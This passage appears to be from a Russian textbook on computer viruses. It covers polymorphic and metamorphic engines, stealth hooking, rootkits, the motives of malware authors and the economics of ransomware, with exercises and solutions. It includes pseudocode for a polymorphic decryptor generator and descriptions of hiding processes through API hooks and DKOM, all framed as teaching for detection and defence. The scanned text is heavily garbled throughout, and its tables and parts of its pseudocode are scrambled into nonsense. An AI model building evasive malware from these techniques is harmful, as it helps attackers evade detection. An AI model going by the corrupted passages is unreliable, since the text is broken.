В результате два экземпляра одного и того же полиморфного вируса не имеют
ни одной общей длинной сигнатуры. Классический пример — движок Dark
Avenger Mutation Engine (MtE), который подключался к любому вирусу и делал
его полиморфным.
Для дегектирования полиморфных вирусов сигнатурный подход бессилен.
Необходима эмуляция: антивирус запускает код в эмуляторе, даёт
расшифровщику выполниться, и анализирует уже расшифрованное тело,
которое у всех экземпляров вируса одинаково. Поэтому полиморфизм
эффективен только до тех пор, пока расшифровщик не слишком сложен и
может быть быстро проэмулирован.
Задачи к подразделу 3,2
1. Напишите псевдокод простейшего полиморфного расшифровщика с
тремя разными техниками обфускации.
Решение:
Базовый расшифровщик: цикл, проходящий по зашифрованному телу и
применяющий XOR с ключом. Полиморфизм внесем гремя техниками.
text
// Генерация расшифровщика при заражении
Ключ = СлучайныйБайт() // меняемся каждый раз
Регистр! = СлучайныйРегистрИзСписка(ЕАХ, EBX, ECXj EDX)
Регистр2 = СлучэйныйРегистрИзСписка(кроме Регистр!)
АдресТела = ВычислитьАдрес()
/7 Начало расшифровщика
II Техника 1: мусорные инструкции
Если СлучайныйЬит() = 1:
NOP
ADD Регистр!, 0 // еще один мусор
// Инициализация указателя
LEA Регистр!, [АдресТела]
MOV Регистр?, РазмерТела
// Техника 2: перестановка независимых операций
// Вариант А: сначала инициализация, потом мусор
// Вариант В: мусор в середине
Если СлучайныйБит() = 1:
// меняем местами следующие две строки и добавляем пустышку
XOR ЕСХ, ЕСХ /I мусор, ЕСХ не используется в цикле
// затем цикл
Конец Если
ЦиклРасшифрозки:
MOV AL, [Регисгр]]
XOR AL, Ключ
MOV [Регистр!], AL
INC Регистр!
DEC Регистр?
JNZ ЦиклРасшифровки
II Техника 3: разные эквивалентные инструкции
Если СлучайныйЬит() = 1:
// вместо DEC Peine гр? / JNZ используем SUB и JNZ
// но уже написали DEC, заменим для демонстрации вариант:
// (в реальности генератор выберет один из двух вариантов)
// Вариант 1: DEC Reg2; JNZ
// Вариант 2: SUB Reg2, 1; CMP Reg2, 0; JNE
Il Здесь оставлен DEC, но генератор мог 6dI варьировать
Конец Если
JMP ОригинальнаяТочкаВхода // переход к расшифрованному телу
Таким образом, каждый новый расшифровщик уникален за счёт выбора
регистров, наличия/отсутствия мусора, перестановки блоков и варьирования
инструкций.
2. Почему полиморфный вирус всегда должен иметь неизменяемую
часть? Можно ли без неё обойтись?
Решение:
Неизменяемая (или слабо изменяемая) часть — это сам расшифровщик, каким
бы запутанным он ни был. После выполнения расшифровщика в памяти
получается постоянное тело вируса Вирус обязан где-то хранить алгоритм
расшифровки и первоначальный переход, иначе он не сможет запуститься.
Полностью обойтись без неизменяемой части в рамках модели
«расшифровщик + зашифрованное тело» нельзя, потому что процессор
должен выполнить какой-то код, который в итоге приведёт к полезной
нагрузке. Даже метаморфный вирус (см. 3.3) имеет постоянную
функциональность, но его код полностью переписывается без шифрования. В
полиморфном вирусе неизменяемость расшифровщика — слабое место, но
она компенсируется тем, что расшифровщик каждый раз генерируется новый,
и стабильной сигнатуры не остаётся.
3. Проведите мысленный эксперимент: сколько разных вариантов кода
может породить вирус, если у него 5 независимых полиморфных
приёмов с двумя вариантами каждого?
Решение:
Если полиморфный движок использует 5 независимых приёмов,, и каждый
приём может быть применён двумя разными способами (или
включён/выключен), то общее количество комбинаций вычисляется по
правилу произведения: 2Л5 = 32 различных варианта расшифро-.щика. Однако
на практике варианто: гораздо больше, потому что внутри каждого приёма
есть выбор регистров, случайные константы, размер мусорных вставок и т.д.
Так что при 5 приемах с гораздо большим количеством подвариантов число
уникальных расшифровщиков легко достигает миллионов Это делает
сигнатурный анализ невозможным.
3.3. Метаморфизм: полная перезапись тела вируса при каждом
заражении
Метаморфный вирус не использует шифрование Вместо этого он полностью
переписывает свой исходный кед при каждом заражении, сохраняя
алгоритмическую функциональность Это похоже на работу обфускатора
исходного кода, который модифицирует программу до неузнаваемости без
изменения логики.
Техники метаморфизма включают:
Разбиение блоков кода и их перестановка со вставками безусловных
переходе-?
Изменение структуры регистров (переименование регистров в рамках кода).
Замена последовательностей инструкций эквивалентными (например, push еах;
pop ebx -» mov ebx, сах).
Вставка мертвого кода, который никогда не выполняется.
Сворачивание/разворачивание циклов
Создание метаморфного движка чрезвычайно сложно, потому что требует
полного анализа и генерации кода в процессе работы вируса. Это сравнимо с
миниатюрным компилятором. Известные представители: вирус Simile (2002) —
один из самых сложных, с полиморфизмом и метаморфизмом; Zperm,
W32/Evol.
Обнаружение метаморфных вирусов требует абстрагирования от конкретного
синтаксиса. Антивирусы применяют'
Нормализацию кода — приведение к единой форме, устранение мёртвого
кода и жаргонных замен.
Сравнение графов потоков управления (CFG) — структура программы
остается похожей.
Эвристики и эмуляцию — в эмуляторе метаморфный вирус рано или поздно
выполнит вредоносные действия, которые детектируются поведенческим
анализом.
Задачи к подразделу 3.3
1. Почему создание метаморфного вируса значительно сложнее
полиморфного? Аргументируйте с точки зрения компилятора.
Решение.
Полиморфный вирус лишь генерирует новый расшифровщик, а основное тело
хранит в зашифрованном виде. Расшифровщик — это короткий, линейный
кусок кода, его генератор можно реализовать относительно просто (набор
шаблонов с вариациями). Метаморфный вирус должен модифицировать всё
тело, которое может состоять из тысяч инструкций со сложной логикой,
циклами, вызовами. Эю фебуег:
Построения промежуточного представления кода (например, абстрактное
синтаксическое дерево).
Анализа зависимостей между инструкциями (чтобы не сломать ло1 ику при
перестановке).
Синтеза новых эквивалентных последовательностей — фактически нужна
машинная генерация кода, схожая с оптимизирующим компилятором
наоборот
Реализации такого движка в самом вирусе, который должен быть компактным,
что накладывает жесткие ограничения.
Таким образом, с точки зрения компилятора, полиморфик — это простой патч-
1енераюр, а метаморфик — полноценный транспилягор, чго на порядки
сложнее.
2. Представьте, что вам нужно детектировать метаморфный вирус; какие
признаки вы будете искать?
Решение:
Семантические инварианты: несмотря на перестановку, вирус выполняет
одинаковые системные вызовы (открытие файлов, запись в реестр, сетевые
соединения). Последовательность API-вызовов с определёнными параметрами
— устойчивый признак.
Структура графа потоков управления (CFG): алгоритмическая логика циклов
и ветвлений сохраняется, даже если код переставлен. Можно искать
изоморфизм подграфов.
Специфические константы и строки: если вирус использует уникальные
строки (например, имя мьютекса, URL), они могут сохраняться даже после
метаморфизма, либо вычисляться однотипно.
Поведенческие паттерны в эмуляции: после выполнения в эмуляторе вирус
проявляет типичное вирусное поседение (заражение файлов, модификация
Entry Point), независимо от внешнего вида кода.
Статистические особенности: распределение инструкций, использование
редко встречающихся команд, необычная структура кода (много безусловных
переходов) могут насторожить эвристики.
3. Исследуйте концепцию «нормализации кода» и объясните, как она
помогает бороться с метаморфизмом.
Решение.
Нормализация кода — это приведение анализируемого исполняемого кода к
некой канонической форме, устойчивой к обфускации и метаморфным
преобразованиям. Шаги нормализации
Дизассемблирование и построение промежуточною представления (IR).
Устранение мертвого кода (инструкций, не влияющих на результат).
Сворачивание констант и арифметических выражений.
Прсобразогание эквивалентных последовательностей к единому шаблону
(например, хог еах, еах, mov еах, 1-» mov еах, 1 с удалением лишней очистки).
Выявление и восстановление исходных регистровых назначений (SSA-форма).
После нормализации два метаморфных варианта одного вируса будут
выглядеть очень похоже в IR, так как их алгори1мическая суть идентична. Заюм
можно применить сигнатурный анализ не к байтам, а к нормализованному
представлению, или сравнить графы. Именно так работают некоторые
продвинутые антивирусные движки, способные детектировать сильно
обфусцированные и метаморфные образцы.
3.4. Стеле-технологии: перехват системных вызовов и маскировка
размера файлоп
Стелс-вирус (stealth virus) активно скрывает свое присутствие от пользователя и
антивирусных программ. Для этого он перехватывает системные вызовы (API)
или прерывания, фильтруя результаты.
Классический пример (DOS-эпсха): загрузочный вирус перехватывал INT 13h
(дисковые операции). Когда ОС или антивирус читали MBR, вирус подставлял
вместо своего кода сохранённый оригинальный MER. При попытке чтения
зараженного сектора подставлялся чистый. Так вирус становился невидимым.
В современных ОС стелс-вирусы используют:
Перехват API файловой системы: подмена функций FindFirstF ile/FindNextFile
для скрытия файлов вируса; при запросе размера зараженного файла отдаётся
оригинальный размер, не включающий тело вируса.
Фильтр-драйверы: установка драйвера-фильтра в стек файловой системы,
который перехватывает IRP пакеты и модифицирует результаты итения/записи
Хуки в таблице системных вызовов (SSDT): подмена указателей на функции
ядра, отвечающие за работу с файлами, процессами, реестром.
DKOM (Direct Kernel Object Manipulation): модификация структур данных
ядра в памяти для скрытия процессов, драйверов, ключей реестра (это уже
руткит-технологии).
Обход стелс-технологий: самый надёжный способ — загрузка с чистого
носителя (Live CD), когда стелс-драйверы не загружены, и все данные на диске
видны ь исходном виде. Также можно использовать методы перекрёстного
контроля (чтение через низкоуровневый доступ и сравнение с API).
Пример: вирус Whale (1990) — один из первых полиморфных стелс-вирусов,
который использовал множество техник сокрытия и был чрезвычайно сложен
для анализа
Задачи к подразделу 3.4
1. Опишите алгоритм, с помощью которого стелс-вирус скрывает своё
присутствие в списке процессов.
Решение:
Вирус, работающий на уровне пользователя, может перехватить
функции Process32First/Procebs32i\iext из библиотеки kernel32.dfl в каждом
процессе внедрив туда свою DLL. При вызове этих функций (например,
диспетчером задач) хук вызывает оригинальную функцию, получает список
процессов, и удаляет из него запись с идентификатором вредоносного
процесса. Затем возвращает очищенный список приложению
На уровне ядра руткит может модифицировать структуру EPROCESS — удалять
запись из двусвязного списка активных процессов, оставляя процесс
выполняемым, но невидимым для стандартных API (метод DK.OM).
Планировщик потоков всё еще видит процесс и даёт ему время CPU, но
утилиты типа Task Manager его не отображают.
2. Каким способом антивирус может обойти стелс-перехват на уровне
пользователя? (Подсказка: загрузка с чистого носителя.)
Решение.
Загрузка с Live CD/USB: загружается чистая ОС, в которой вредоносные
драйверы и хуки не запущены. Антивирус на таком носителе читает файловую
систему напрямую, без посредничества заражённой ОС
Прямое чтение диска: даже из-под работающей системы можно открыть
физический диск (например, \\. \PbysicaiDrive0) и читать сектора в обход
файловой системы и её фильтров Сравнение результатов с тем, что показывает
API, выявит стелс-подмену.
Использование низкоуровневых недокументированных вызовов ядра или.
установка собственного драйвера, который работает на более низком уровне,
чем стелс-драйвер (если антивирус устанавливает драйвер раньше).
3. Проанализируйте дуэль между стелс-вирусом и антируткит-утилитой
типа GMER.
Решение.
GMER — специализированная утилита для обнаружения руткитог и стелс-
активности. Её методы:
Сканирование SSDT и выявление хуков (сравнение с эталонными
значениями).
Проверка IRP-хуков в драйверах файловой системы
Прямое чтение реестра с диска (анализ файлов кустов реестра) и сравнение с
результатами API
Поиск скрытых процессов через прямое сканирование структур ядра в
памяти (обходит DKOM).
Анализ драйверов и проверка их цифровых подписей.
Стелс-вирус, в свою очередь, может попытаться детектировать запуск GMER и
временно отключить свои хуки или препятствовать загрузке драйвера GMER
Это классическая «гонка гооружений»: GMER ищет аномалии, вирус прячет их
всё глубже. Побеждает тот, кто работает на более низком уровне или
загружается раньше. Именно поэтому загрузка с чистого носителя остается
«золотым стандартом»: в этой среде вирус не имеет шанса перехватить
управление.
3.5. Рутикиты: внедрение на уровне ядра операционной системы
Руткит (rootkit) — набор программных средств, обеспечивающих скрытное
присутствие в системе. В отличие от вируса, руткит не обязательно
размножается; его главная задача — маскировка. Однако современные угрозы
часто объединяют вирусную или троянскую нагрузку с руткит-компонентом.
Уровни руткитов:
User-mode (Ring 3): перехват API е пользовательском пространстве, внедрение
Di L во все процессы. Проще реализовать, но и проще обнаружить.
Kernel mode (Ring 0): установка драйвера, работающего на уровне ядра.
Может перехватывать SSDT, модифицировать структуры ядра (DKOM),
фильтровать файловые операции и сетевой трафик Требует загрузки драйвера,
что в современных системах затруднено обязательной цифровой подписью.
Bootkit: модифицирует загрузочный код (MBR, UEFI), чтобы загрузиться до ОС и
обойти проверки подписей. Самый сложный и опасный тип
Hypervisor-руткит (Ring -1): зиртуализирует всю систему «под собой»,
перехватывая все обращения ОС к оборудованию Практически необнаружим
из-под ОС (пример. Blue Pill).
Современная защита:
Secure Boot и Trusted Boot проверяют подписи на этапе загрузки.
PatchGuard (Kernel Patch Protection) в Windows предотвращает модификацию
ядра и SSDT, завершая систему при обнаружении изменений.
HVCl (Hypervisor-Protected Code Integrity) использует гипервизор для зашиты
целостности кода ядра.
Kernel DMA Protection блокирует несанкционированный доступ к памяти
через внешние уоройства.
Тем не менее, руткиты продолжают существовать, используя уязвимости в
подписанных, но уязвимых драйверах (BYOVD — Bring Your Own Vulnerable
Driver) или находя способы отключить PatchGuard.
Задачи к подразделу 3.5
1. Сравните руткит уровня пользователя (usertand) и уровня ядра (kernel)
по возможностям и рискам обнаружения.
Решение:
Характеристика
User-mode руткит
Уровень
привилегий
Ring 3 (ограничен)
Kernel-mode
руткит
Ring 0 (полный
доступ к
оборудованию)
Характеристика User-mode руткит Kernel-mode руткит
Сложность Относительно низкая, можно Высокая: нужен
разработки использовать библиотеки перехвата драйвер, знание
API структур ядра Полный контроль: сокрытие чего
Возможности Скрытие файлов, процессов, ключей угодно,
сокрытия реестра через перехват API модификация поведения системы Сложнее: необходимо
Легче, антивирус может проверить загружать детектор
Обнаружение целостность DLL, обнаружить хуки, на том же или
Устойчивость сравнить с данными на уровне ядра Может быть снят простым более низком уровне, проверять целостность ядра Остаётся даже после
перезагрузки, если
Требования к завершением процесса драйвер прописан в автозагрузке Обычно требует прав
Может быть установлен без прав администратора и
установке администратора (с ограничениями) обхода механизмов подписи драйверов
2. Как технология Secure Boot и Kernel DMA Protection препятствует
установке руткитов?
Решение'
Secure Boot гарантирует, что каждый компонент загрузки (прошивка,
загрузчик, драйверы загрузки) имеет валидную цифровую подпись. Руткит,
пытающийся загрузить свой неподписанный драйвер на раннем этапе, будет
заблокирован UEFI.
• Kernel DMA Protection использует IOMMU (VT-d/AMD-Vi) для ограничения
доступа внешних устройств (PCIe, Thunderbolt) к оперативной памяти. Раньше
злоумышленник мог подключить вредоносное устройство и через прямой
доступ к памяти внедрить руткит в ядро. DMA Protection блокирует доступ к
критическим областям памяти для непроверенных устройств.
Эти техноло1ии значительно усложняют внедрение kernel-руткитов и буткитов,
заставляя злоумышленников искать уязвимости уже в самой прошивке или
подписанных драйверах.
3. Предложите стратегию обнаружения скрытых процессов с помощью
сличения данных, полученных на разных уровнях (API и прямой анализ
структур ядра).
Решение.
Стратегия кросс-вью (cross-view):
1 Сбор через API: получить список процессов с помощью WinAPI
(Create Foolhelp32Snapshot, EnumProcesses). Это верхнеуровневое
представление, которое может быть подменено user-mode или kernel-mode
хуками.
2. Прямой анализ ядра: загрузить специализированный драйвер, который
вручную обходит список FPROCESS структур в памяти (через
PsActiveProcessHead). Этот список тоже может быть изменён (DKOM-руткиты
удаляют запись, но процесс остаётся в планировщике).
3. Альтернативный список планировщика: ядро хранит процессы в нескольких
структурах. Можно просканировать KiWaitInListHead или другие внутренние
списки, которые руткит может забыть модифицировать.
4. Сканирование потоков: обнаружить все потоки в системе (через анализ
ETHREAD), сгруппировать по идентификатору процесса. Если найден PID,
отсутствующий в EFROCESS-списке — это скрытый процесс.
5. Сравнение результатов: если процесс виден в одном представлении, но
отсутствует в другом — детектирована аномалия, характерная для руткита.
Этот метод не гарантирует 100% обнаружения при очень продвинутом рутките
(например, hypervisor-уровня), но эффективен против большинства известных
kernel-руткитов.
ЧАСТЬ II. КАК СОЗДАЮТСЯ ВИРУСЫ
Глава 4. Мотивация и психология создателей.
Понимание того, зачем люди пишут вредоносные программы, — это не
попытка оправдать их, а важнейший элемент стратегической обороны
Мотивация определяет сложность кода, выбор целей, векторы
распространения и уровено деструктивности. За десятилетия спектр мотивов
эволюционировал от чистого исследовательского азарта до геополитических
операций.
4.1. Исследовательский интерес и концептуальные доказательства
Первые программы, которые мы сегодня назвали бы вирусами, были
академическими экспериментами. Их авторы не стремились к наживе или
разрушению — они проверяли границы вычислительных систем, исследовали
возможность саморепликации в искусственной среде В 1971 году Боб Томас
создал Creeper для сети ARPANET Программа не наносила вреда: она просто
выводила сообщение и пыталась переместиться на доугой узел. Позже Рэй
Томлинсон написал Reaper, который тоже распространялся по сети, но удалял
Creeper — по сути, первый «антивирус» В 1982 году Ричард Скрента
написал Elk Cloner для Apple II. Это был первый вирус, распространившийся за
пределы лаборатории, но его целью была шутка: каждые 50 загрузок он
выводил стихотворение. Скрента, будучи девятиклассником, хотел проверить,
можно ли создать код, который сам копируется на дискеты. Brain (1986),
созданный пакистанскими братьями Алви, защищал их медицинское ПО от
пиратства, выводя предупредительное сообщение с контактными данными.
Эти примеры объединяет одно: авторы действовали из любопытства,
стремления понять, как работают системы, или доказать концепцию. Они не
предвидели последствий — утечки дикую среду, мутаций кода,
лавинообразного распространения. Сегодня такой исследовательский интерес
сохраняется в академической среде, но строго регулируется этическими
рамками. Специалисты по ки.бербезопасности изучают вредоносный код в
изолированных лабораториях, публикуют результаты для улучшения защиты, а
не для создания оружия
Этическая грань между исследованием и преступлением проходит по
нескольким критериям:
Намерение: создаётся ли программа для получения знаний и защиты или для
нанесения ущерба?
Контроль: принимаются ли исчерпывающие меры для недопущения утечки в
реальные системы?
Раскрытие: информируются ли уязвимые стороны (вендоры ПО) до
публикации, чтобы дать им время . ыпустить патч?
Согласие: выполняется ли код только на собственных или явно разрешенных
для тестирования системах7
| Задачи к подразделу 4.1
1. Напишите эссе на тему «Какой вклад в компьютерную безопасность
внесли ранние эксперименты с вирусами».
Пример эссе (сжатая форма)'
Ранние эксперименты с самореплицирующимся кодом, несмотря на свою
спорную этику, обьективно ускорили развитие компью1ерной безопасности.
Они выявили фундаментальные уязвимости архитектур, которые ранее
считались безопасными.
Во-первых, эксперимент Фреда Коэна (1983-1984) дал формальное
определение вируса и математически доказал, что проблема обнаружения
вирусов в общем случае неразрешима (сводится к проблеме остановки). Это
теоретическое обоснование легло в основу всей индустрии антивирусной
защиты, сместив фокус с поиска «абсолютного» решения на эвристические и
поведенческие методы.
Во-вторых, вирус Brain (1986) показал, что коммерческое ПО уязвимо для
заражения загрузочных секторов, что привело к разработке первых
антивирусных сканеров и появлению компаний вроде McAfee и Symantec
Инцидент также стимулировал внедрение контроля целостности системных
областей.
В-третвих, червь Морриса (1988) парализовал ранний интернет, наглядно
продемонстрировав опасность переполнения буфера и важность сегментации
сети. Реакцией стало создание первой межведомственной группы
реагирования на компьютерные инциденты (CERT/CC).
Таким образом, ранние эксперименты выполнили функцию «стресс-теста» для
молодой компьютерной инфраструктуры Они вынудили инженеров и
архитекторов учитывать угрозу вредоносного кода на этапе проектирования,
что в итоге сделало современные ОС устойчивее Платой за эти знания стал
ущерб от первых эпидемий, но без этих уроков эволюция зашиты шла бы
медленнее.
2. Сформулируйте принципы ответственного разглашения информации
об уязвимостях (Responsible Disclosure) и свяжите их с концептуальными
вирусами.
Решение:
Принципы ответственного разглашения (Responsible Disclosure), применимые в
том числе к исследователям самореплицирующегося кода:
Приоритет вендора: исследователь обязан сначала уведомить разработчика
уязвимого ПО и предоставить разумный срок (обычно 90 дней) на исправление
перед публичным раскрытием.
Минимизация ущерба: недопустимо публиковать рабочий эксплойт до тех
пор, пока большинство пользователей не получат обновление.
Добросовестное тестирование: код, доказывающий концепцию (Proof of
Concept), должен выполняться только в изолированной, контролируемой
среде, не затрагивающей чужие системы.
Прозрачность и документирование: результаты исследования должны быть
полностью воспроизводимы и документированы, чтобы защитники могли
создать эффективные средства противодействия
Отказ от злонамеренного использования: исследователь не должен
передавать РоС-код лицам, которые могут использовать его в атакующих
целях.
Связь с концептуальными вирусами: тот же самый подход должен применяться
к любым программам, демонстрирующим саморепликацию. Если
исследователь создаёт новый метод размножения, он обязан уведомить
производителей ОС и антивирусов, а не выпускать код в открытый доступ,
История знает случаи, когда академические «доказательства концепции»
утекали и становились оружием.
3. Предложите безопасную среду для изучения механизмов
саморепликация без риска утечки.
Решение.
Идеальная среда для безопасного изучения вирусных механизмов должна
обеспечивать полную изоляцию, предотвращающую любой контакт
вредоносного кода с внешними системами. Предлагаемая архитектура:
Физически изолированный стенд: отдельный компьютер (или кластер), не
подключенный ни к какой сети (проводной, Wi-Fi, Bluetooth). Все
беспроводные модули физически удалены или отключены на уровне BIOS.
Виртуализация с двойным барьером: внутри физического хоста запускается
гипервизор (VMware, Hyper-V, KVM), а в нём — гостевая ОС для экспериментов.
Снапшоты гостевой ОС позволяют мгновенно откатывать изменения.
Гипервизор настраивается на запрет любых сетевых подключений и общих
папок.
Только однонаправленный перенос данных: для загрузки образцов
используется одноразовый носитель (CD-R, однократно записываемая флешка
с аппаратной блокировкой записи), который никогда не подключается к
продуктивным системам после использования на стенде Либо используется
«air-gapped» односторонний диодный канал для передачи файлов на стенд без
возможности обратной передачи,
Жёсткая процедура уничтожения: после завершения эксперимента все
виртуальные машины безвозвратно удаляются вместе с образами дисков
Физический носитель уничтожается. Физический хост проходит полную очистку
(форматирование, перепрошивка BIOS при необходимости).
Аудит и контроль доступа: доступ е помещение со стендом только у
агтэризованных исследователей. Все действия протоколируются (внешней
камерой, журналом посещений), чтобы исключить нарушение процедур.
Такой стенд позволяет моделировать размножение, тестировать полиморфные
движки, проверять гипотезы без риска утечки. Именно подобные условия
используют антивирусные лаборатории и академические группы.
4.2. Кибервандализм, хакитивизм и демонстрация превосходства
В 1990-е годы вирусописание приобрело черты подростковой субкультуры.
Молодые программисты, часто движимые желанием прославиться в среде
«сценеров» или продемонстрировать техническое превосходство над
«ламерами» и корпорациями, создавали вирусы ради самого процесса. Ущерб
был скорее побочным эффектом, хотя иногда весьма серьёзным.
Кибервандализм — это немотивированное уничтожение данных, нарушение
работы систем. Вирусы типа Michelangelo (акгивация 6 марта)
или CIH (уничтожал BIOS и данные) частично мотивировались именно
желанием вызвать хаос и привлечь внимание СМИ. Авторы часто оставляли
«подписи» — строки, графические эффекты, звуки.
Хакитивизм — использование вредоносного кода для продвижения
политических, социальных или экологических идей Например, вирусы могли
выводить на экран лозунги против глобализации, ядерного оружия, или.
наоборот, патриотические сообщения. В отличие от хактивистских DDoS-атак
или дефейсов сайтов, нирусный хакитивизм обычно был стихийным и быстро
подавлялся.
Демонстрация превосходства проявлялась в создании технически
изощренных вирусов полиморфных движков сложных стелс-механизмов
Авторы соревновались, чей код меньше, незаметнее, быстрее заражает. Это
был аналог спортивного программирования, только с разрушительными
последствиями. Журналы типа ?600, Bulletin Board Systems (BBS) служили
площадками для обмена кодом и техниками. Со временем, по мере
ужесточения законодательства, субкультура сошла на нет, а многие её
представители перешли в легальную сферу кибербезопасности
| Задачи к подразделу 4.2
1. Найдите и изучите историю вируса, который выводил политический
слоган. Каков был предполагаемый эффект и реальный ущерб?
Решение.
Пример: вирус «Yankee Doodle» (1989, автор — болгарин, известный как Dark
Avenger). Хотя основная версия играла мелодию «Yankee Doodle» в 17:00,
некоторые его варианты содержали политические лозунги, направленные
против коммунистического режима в Болгарии Вирус заражал СОМ и EXE
файлы, был частично стелс-резидентным.
Предполагаемый эффект: привлечь внимание к антикоммунистическому
протесту, возможно, вызвать у пользователей ассоциацию «зараженная
система — прогнивший режим». Реальный ушерб: массовое заражение по
всему миру, нарушение работы множества компьютеров, отвлечение ресурсов
на лечение. Политический эффект оказался близок к нулю: пользователи за
пределами Болгарии не понимали контексга, а ущерб только дискредитировал
послание.
2. Почему желание «доказать, что я крут» остаётся мощным
мотиватором, несмотря на высокие риски уголовного преследования?
Решение:
Психологический профиль: многие создатели вирусов — подростки или
молодые люди с высоким интеллектом, но недостатком социального
признания. Создание сложного кода, который обманывает системы защиты,
дает чувство власти и превосходства, которого им не хватает в реальной жизни,
Анонимность: интернет создаёт иллюзию безнаказанности. Псевдонимы,
форумы в даркнете. шифрование трафика укрепляют веру в то. что их не
найдут.
Субкультурное одобрение: в определённых онлайн-сообществах (хакерские
форумы, имиджборды, Telegram-каналы) успешное создание и
распространение вируса приносит статус и уважение. Социальное поощрение
внутри референтной группы перевешивает страх перед внешним наказанием
Недооценка риска: молодые люди склонны к импульсивным решениям и
недооценке долгосрочных последствий Тюремный срок кажется чем-то
далеким и нереальным.
Сочетание этих факторов делает мотивацию «доказательства крутости» очень
стойкой даже в условиях жёстких законов.
3. Разработайте шкалу оценки «вандальности» вредоносной программы,
учитывающую не только ущерб, но и публичность эффекта.
Решение.
Шкала вандальности (Vandalism Score) — от 0 до 10. Оценка складывается из
трех компонентов:
Критерий 0 баллов 2 балла 4 балла
Финансовый Нет или Умеренный Крупный
ущерб незначителен (восстановлени (уничтожение
Критерий 0 баллов 2 балла 4 балла
е без потери данных, простой
данных) бизнеса)
Яркая графика,
Публичность (видимость эффекта) Полностью скрыт Выводит сообщение или временный □ ЖЖрит звук, разрушительный зизуальный эффект (BSOD.
J CL* CL/ Сз lx 1 форматирование
Заражает
Селективност Направлен на конкретную определённую категорию Неизбирательно
ь цели систему/организаци ю (например, только .ехе) или регион 1VI О Ц- Еэ заражение
Максимум — 12 баллов, но для шкалы 0-10 можно нормировать:
VandalismScore = (СуммаБаллов * 10) / 12.
Примеры:
Creeper (1971): ушерб 0 + публичность 0 (просто сообщение в логе) +
селективность 4 (массово) = 4 -» 3.3/10.
ILOVEYOU (2000): ущерб 4 (миллиарды долларов) + публичность 0 (скрытно
рассылал, хотя сообщения вредили) + селективность 4 = 8-» 6.7/10.
CIH (1998): ущерб 4 (уничтожение данных и BIOS) + публичность 4
(деструктивный эффект, приурочен к дате) + селективность 4 (массово) = 12 -♦
10/10.
Лабораторный РоС вирус без нагрузки: ущерб 0, публичность 0,
селективность 0 — 0/10.
Шкала даёт количественную оценку вандальности, полезную для
классификации угроз.
4.3. Финансовая киберпреступность: вымогатели, стилеры, ботнеты
Современный ландшафт вредоносного ПО определяется в первую очередь
жаждой наживы. Киберпреступпость превратилась в многомиллиардную
теневую индустрию с разделением труда, сервисной моделью (Malware-as-a-
Service) и гарантиями «качества». Основные модели монетизации:
• Программы-вымогатели (Ransomware): самый громкий и разрушительный
тип. Вирус шифрует файлы жертвы и требует выкуп в криптовалюге за ключ
расшифровки. Модель RaaS (Ransomware-as-a-Service) позволяет даже
нетехническим преступникам запускать кампании, арендуя готовые билды и
панели управления (например, LockBit, Conti, REvil). Доходы группировок
исчисляются сотнями миллионов долларов
• Стилеры (Stealers): тихие и незаметные трояны, гюрующие учётные данные:
логины и пароли из браузеров, cookies, данные криптокошельков, ключи
аутентификации. Украденная информация продается в даркнете или
используется для дальнейших атак. Стилеры дают более стабильный, хотя и
меньший доход, чем вымогатели, и меньше привлекают внимание
правоохранителей,
• Ботнеты: сети заражённых компьютеров, централизованно управляемые
злоумышленниками. Ботнегы сдаются в аренду для DDoS-aiaK, массовой
рассылки спама, крипюмайнинга или как прокси-серверы для анонимизации.
Владелец ботнета получает регулярную плату от «клиентов».
• Криптоджекинг (скрытый майнинг): воедоносный код использует
вычислительные ресурсы жертвы для добычи криптовалют. Доход небольшой,
но при массовом заражении стабилен и практически незаметен для жертвы
(кроме замедления системы и повышенного энергопотребления).
• Банковские трояны: перехватывают сессии интернет-банкинга, подменяют
реквизиты платежей, воруют средства напрямую. Примеры Zeus, Dridex,
TrickBot.
Криптовалюты стали катализатором: они обеспечили анонимный и
децентрализованный способ получения платежей, практически исключив
возможность блокировки транзакций.
| Задачи к подразделу 4.3
1. Проследите экономическую цепочку типовой атаки программы-
вымогателя: от первичного заражения до отмывания выкупа.
Решение:
1 Первичное заражение: фишингоное письмо с вредоносным вложением
(макрос в документе, ISO-образ) или эксплуатация уязвимости на
незащищённом сервере (RDP, VPN). Пользователь открывает файл /
активируется эксплойт.
2. Доставка и запуск: дроппер скачивает и запускает основное тело вымогателя
(или запускается напрямую),
3. Распространение (опционально): вымогатель сканирует сеть и пытается
заразить другие узлы (используя SMB, PsExec, WMI).
А Шифрование данных: программа генерирует уникальный ключ
(асимметричная криптография), шифиует файлы (симметричный алгоритм),
отправляет ключ на С&С сервер злоумышленников.
5. Требование выкупа: выводится сообщение с инструкциями по оплате в
биткойнах/Мопего, суммой и контактами для связи (обычно через Тог-портал).
6, Оплата жертвой: жертва покупает криптовалюту на бирже (часто через
посредников) и переводит на указанный кошелек.
7. Подтверждение и расшифровка: после подтверждения транзакции
злоумышленники (в теории) предоставляют инструмент расшифровки. Однако
часто вымогатели просто исчезают или требуют доплату.
8 Отмывание денег: криптовалюта прогоняется через сервисы смешивания
(миксеры, тумблеры), чейнинг между разными блокчейнами (свопы),
обналичивается через подставных лиц (дронов) или криптообменники в
юрисдикциях со слабым регулированием. В финале средства легализуются и
вливаются в финансовую систему.
Ключевые узлы, на которые направлены усилия правоохранителей: биржи
(KYC/AML), миксеры (закрытие), анализ блокчейна для отслеживания движения
средств.
2. Почему стилеры могут приносить злоумышленнику больше
стабильного дохода, чем ransomware?
Решение:
• Меньше риска: стилеры действуют скрытно, их обнаружение жертвой может
произойти спустя месяцы или никогда. В отличие от вымогателей, которые
сразу заявляют о себе громким требованием, стилеры не вызывают паники и
не привлекают активного внимания правоохранителей.
• Регулярный доход: украденные данные — это товар, который можно
продавать постоянно. Один успешно установленный стилер может неделями и
месяцами поставлять свежие учётные данные, cookies, сессии, которые быстро
находят покупателей г даркнете. Выкуп же — разовая операция с
непредсказуемым исходом (жертва может не заплатить).
• Меньше входных барьеров: стилеры проще в разработке и эксплуатации.
Модель «Stealer-as-a-Service» широко распространена Рынок сбыта налажен:
существуют автоматизированные магазины логов.
• Диверсификация: злоумышленник может одновременно управлять сотнями
заражённых машин с разными стилерами, получая доход от каждой.
В то время как вымогатели дают шанс на крупный куш, стилеры обеспечивают
предсказуемый и устойчивый денежный поток при меньших усилиях и угрозе
быть пойманным.
3. Оцените, как изменилась минимальная стоимость входа на «рын^-к»
киберпреступности благодаря появлению вредоносного ПО как услуги
(MaaS).
Решение:
До появления MaaS создание вредоносной кампании требовало глубоких
технических знаний: программирование, криптография, сетевое
администрирование, обход антивирусов. Нужно было самому писать код,
